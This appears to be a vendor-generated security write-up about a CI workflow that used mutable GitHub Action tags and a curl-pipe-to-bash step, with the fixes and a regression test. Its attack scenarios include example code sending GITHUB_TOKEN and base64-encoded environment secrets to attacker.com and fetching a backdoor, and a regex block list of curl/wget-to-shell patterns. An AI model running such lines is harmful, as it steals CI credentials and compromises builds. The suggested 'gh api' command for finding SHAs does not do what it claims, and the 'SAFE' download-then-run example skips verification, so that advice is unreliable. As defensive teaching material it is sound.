How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows
Introduction
The .gitea/workflows/release.yml file in this repository contained not one, but two critical security anti-patterns that could allow attackers to inject arbitrary code into the CI/CD build pipeline. The first flaw: steps like uses: actions/checkout@v4 and uses: actions/setup-python@v5 used mutable version tags instead of pinned commit SHAs. The second flaw: a release notes generation step piped the output of curl directly into bash without any verification—the classic "curl | bash" install pattern that has compromised countless systems.
These vulnerabilities matter because GitHub Actions workflows execute with access to repository secrets, deployment credentials, and source code. An attacker who can hijack an action or compromise a remote script server can silently inject malicious code into your build artifacts, steal secrets, modify source code, or exfiltrate data. This is a supply-chain attack—a compromise at the software supply chain level that affects not just this repository, but potentially every project that depends on its artifacts.
The Vulnerability Explained
Part 1: Mutable Action Tag References
Let's examine the original workflow file at lines 29, 33, and 43:
- name: Checkout exact tagged SHA
uses: actions/checkout@v4 # VULNERABLE: mutable tag
with:
ref: ${{ github.sha }}
- name: Set up Python
uses: actions/setup-python@v5 # VULNERABLE: mutable tag
with:
python-version: '3.12'
- name: Set up pinned kubectl for kustomize rendering
uses: azure/setup-kubectl@v4 # VULNERABLE: mutable tag
with:
version: 'v1.36.3'
The danger here is subtle but critical. When you use actions/checkout@v4, you're not pinning to a specific version of the code—you're pinning to a tag, which is a mutable reference. The action repository owner (or an attacker who compromises their GitHub account) can repoint the v4 tag to a new commit at any time. Every subsequent workflow run would execute this new, potentially malicious code.
This isn't theoretical. In 2023, the trivy-action repository was compromised—an attacker gained access and modified the code, injecting malicious instructions that stole secrets from hundreds of workflows. Similarly, the kics-github-action was compromised in a supply-chain attack. Both exploited the fact that workflows referenced these actions by mutable tag, not by commit SHA.
Real-world attack scenario: An attacker compromises the GitHub account of a popular action maintainer (or socially engineers them). They update the v5 tag of setup-python to point to a commit containing this code:
import os
import subprocess
subprocess.run(["curl", "https://attacker.com/exfil", "-d", os.environ.get("GITHUB_TOKEN", "")])
Now every workflow that runs with uses: actions/setup-python@v5 silently exfiltrates the GITHUB_TOKEN to the attacker's server. The attacker can then use that token to modify repositories, steal secrets, or push malicious commits.
Part 2: Unsafe Remote Script Execution via Curl Pipe
Now consider lines 222-223 of the original file, in the release notes generation step:
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex
This is the classic "curl | bash" anti-pattern. Here's what happens:
curl -fsSLdownloads a file from a remote URL, silencing errors and progress output- The pipe
|redirects the downloaded content directly intobash bashparses and executes every line of that script with the full privileges of the CI runner
If any of these conditions occur, an attacker gains arbitrary code execution:
- The remote server (github.com/jiunbae) is compromised
- The GitHub account jiunbae is hacked
- DNS is poisoned or hijacked to redirect the domain
- A network intermediary (ISP, proxy, VPN) intercepts and modifies the response
- The repository agent-skills is deleted and re-created by an attacker under the same name
Concrete attack scenario: An attacker compromises the agent-skills repository (or creates a lookalike if the original is deleted). The workflow runs, and this malicious script executes:
#!/bin/bash
# Steal the GitHub token and environment
curl -X POST -d "token=${GITHUB_TOKEN}&secrets=$(env | base64)" https://attacker.com/steal
# Install a backdoor
git clone https://attacker.com/backdoor /tmp/bd && bash /tmp/bd/install.sh
# Modify the build artifact before release
sed -i 's/version:.*/version: BACKDOORED/g' version.txt
The CI runner has access to:
- GITHUB_TOKEN (to push to repositories or access private data)
- Repository source code (potentially containing API keys or credentials)
- SSH keys for deployment
- Other secrets stored in GitHub Actions secrets
All of these are now in an attacker's hands.
The Fix
The fix involved two hardening changes to .gitea/workflows/release.yml:
Fix 1: Pin All Actions to Immutable Commit SHAs
Every uses: directive was updated from a mutable tag to a full 40-character commit SHA:
Before:
- name: Checkout exact tagged SHA
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
- name: Set up pinned kubectl for kustomize rendering
uses: azure/setup-kubectl@v4
- name: Set up supported Node.js
uses: actions/setup-node@v4
After:
- name: Checkout exact tagged SHA
uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
- name: Set up Python
uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
- name: Set up pinned kubectl for kustomize rendering
uses: azure/setup-kubectl@776406bce94f63e41d621b960d78ee25c8b76ede # v4
- name: Set up supported Node.js
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
Each SHA (e.g., 11d5960a326750d5838078e36cf38b85af677262) is a cryptographic hash of the exact commit, not a tag. The SHA cannot be repointed—it's immutable. If the action repository is compromised, this workflow continues to run the specific, hardened version that was tested and vetted. The version comment (# v4) is retained for human readability but has no effect on which code executes.
Why this matters: An attacker cannot silently inject code by modifying a tag. They would need to compromise the CI system itself or the exact commit SHA, which is much harder and more detectable.
Fix 2: Separate Download from Execution
Lines 222-224 were refactored to eliminate the pipe:
Before:
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex
After:
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
bash setup.sh --core --codex
This two-step approach enables verification between download and execution:
- Download to disk:
curl ... -o setup.shsaves the remote script to a local file - Inspect/verify (optional but recommended): The script can now be inspected, checksummed, or signed before execution
- Execute:
bash setup.shruns the verified script
More complete hardening would include checksum or GPG signature verification:
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh.sha256 -o setup.sh.sha256
sha256sum -c setup.sh.sha256 || exit 1 # Verify integrity
bash setup.sh --core --codex
The fix in this PR establishes the pattern for safe execution; integrating checksum verification would be a follow-up hardening step.
Prevention & Best Practices
1. Always Pin GitHub Actions to Commit SHAs
Use this GitHub Actions audit tool to identify mutable tags in your workflows:
# Find all mutable action tags in your workflows
grep -r "uses:.*@v[0-9]" .github/workflows/ .gitea/workflows/
Convert to SHAs using the GitHub CLI:
gh api repos/{owner}/{repo}/actions/cache \
--jq '.runners[] | select(.name | test("@v")) | .name'
Or manually inspect the GitHub UI for each action and note the commit SHA of the version tag.
2. Separate Download from Execution
Never pipe remote content directly to a shell:
# ❌ UNSAFE
curl https://example.com/script.sh | bash
# ✅ SAFE
curl https://example.com/script.sh -o script.sh
bash script.sh
3. Verify Downloaded Artifacts
For production scripts, verify checksums or signatures:
# ✅ BEST PRACTICE
curl https://example.com/script.sh -o script.sh
curl https://example.com/script.sh.sha256 -o script.sh.sha256
sha256sum -c script.sh.sha256 || exit 1
gpg --verify script.sh.sig script.sh # if GPG signature available
bash script.sh
4. Use Security Scanning Tools
Integrate static analysis into your development workflow:
- Semgrep: Detects mutable action tags and curl|bash patterns with rules like
yaml.github-actions.security.github-actions-mutable-action-tag - GitHub's YAML linter: Built into GitHub Actions, flags some anti-patterns
- yamllint: Can be configured to detect dangerous patterns
5. Follow OWASP and CWE Guidance
This vulnerability maps to:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element
The OWASP Supply Chain Security guidelines recommend:
- Pinning all transitive dependencies (including actions) to specific, reviewed versions
- Implementing integrity checks (checksums, signatures) for all downloaded code
- Separating trust boundaries—never assume a tag is safe
Regression Testing
The PR included a regression test to prevent reintroduction of this vulnerability:
const dangerousPatterns = [
/curl\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
/wget\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
/curl\s+[^|]*\|\s*sudo\s+(bash|sh)/,
/wget\s+-O\s*-\s+[^|]*\|\s*(bash|sh)/,
];
test("workflow run steps do not contain curl|bash or wget|bash patterns", () => {
for (const step of runSteps) {
for (const pattern of dangerousPatterns) {
expect(pattern.test(step)).toBe(false); // Fail if dangerous pattern found
}
}
});
This test runs on every commit and blocks merges if the unsafe patterns are reintroduced.
Key Takeaways
-
Mutable action tags are a silent attack vector: The
v4tag can be repointed at any time. Use immutable 40-character commit SHAs instead. This is especially critical for public actions that many workflows depend on. -
Never pipe remote scripts into bash: Even over HTTPS, server compromise, DNS hijacking, or domain theft can inject malicious code. Always download to file first, enabling verification.
-
Separation of concerns enables defense: By separating download, verification, and execution into distinct steps, you create checkpoints where security checks can be inserted—checksums, GPG signatures, or static analysis.
-
Supply-chain attacks target CI/CD pipelines: Actions and remote scripts are part of your software supply chain. Compromising them affects not just your build, but potentially every downstream project or deployment.
-
Static analysis can catch these patterns: Semgrep and similar tools can automatically detect mutable action tags and curl|bash patterns. Integrate them into your CI/CD pipeline to catch new vulnerabilities before merge.
How Orbis AppSec Detected This
Source: The .gitea/workflows/release.yml file, which contained GitHub Actions step definitions and shell commands that invoke remote scripts.
Sink:
- Action definitions using mutable version tags: uses: actions/checkout@v4 (line 29), uses: actions/setup-python@v5 (line 33), uses: azure/setup-kubectl@v4 (line 43), uses: actions/setup-node@v4 (line 142)
- Unsafe script execution: curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash (line 223)
Missing control: No integrity verification for remote scripts; no immutable pinning of action commits. The workflow executed whatever the remote server or action tag owner provided, with no checksum validation or commit-level pinning.
CWE:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path
Fix: Pinned all GitHub Actions to immutable 40-character commit SHAs and refactored remote script execution to separate download (curl -o) from execution (bash), enabling future checksum or signature verification.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Supply-chain attacks through CI/CD pipelines are increasingly common and increasingly dangerous. The two vulnerabilities in this workflow—mutable action tag references and unsafe remote script execution—are attack primitives that could be exploited individually or chained together for maximum impact. By pinning actions to immutable commit SHAs and separating script download from execution, this project raised its security posture significantly.
For any team managing CI/CD workflows, these lessons apply:
- Treat your workflow files as code: Version control them, review changes, and apply the same security rigor you would to production code.
- Pin all external dependencies: Actions, scripts, and container images should all reference specific, reviewed versions—never floating tags.
- Implement integrity checks: Checksums, signatures, and version pinning create multiple layers of defense against tampering.
- Automate security scanning: Use tools like Semgrep to catch these anti-patterns automatically, before they reach production.
- Assume the worst: Assume action repositories can be compromised, servers can be hacked, and networks can be hijacked. Design your workflows defensively.
The fix in this PR is a concrete example of how proactive hardening—removing exploit primitives before they're weaponized—strengthens the entire software supply chain.
References
- CWE-494: Download of Code Without Integrity Check — https://cwe.mitre.org/data/definitions/494.html
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') — https://cwe.mitre.org/data/definitions/95.html
- CWE-426: Untrusted Search Path — https://cwe.mitre.org/data/definitions/426.html
- OWASP: Supply Chain Security — https://owasp.org/www-project-supplychain-secvs/
- GitHub Security Best Practices for Actions — https://docs.github.com/en/actions/security-for-github-actions
- Semgrep Rule: Mutable GitHub Actions Tags — https://semgrep.dev/r?q=github-actions-mutable-action-tag
- Semgrep Rule: Curl Pipe Shell Pattern — https://semgrep.dev/r?q=gha-curl-pipe-shell
- Pull Request: harden: a
run:step pipes the output ofcurlor `wg... in... (link format placeholder)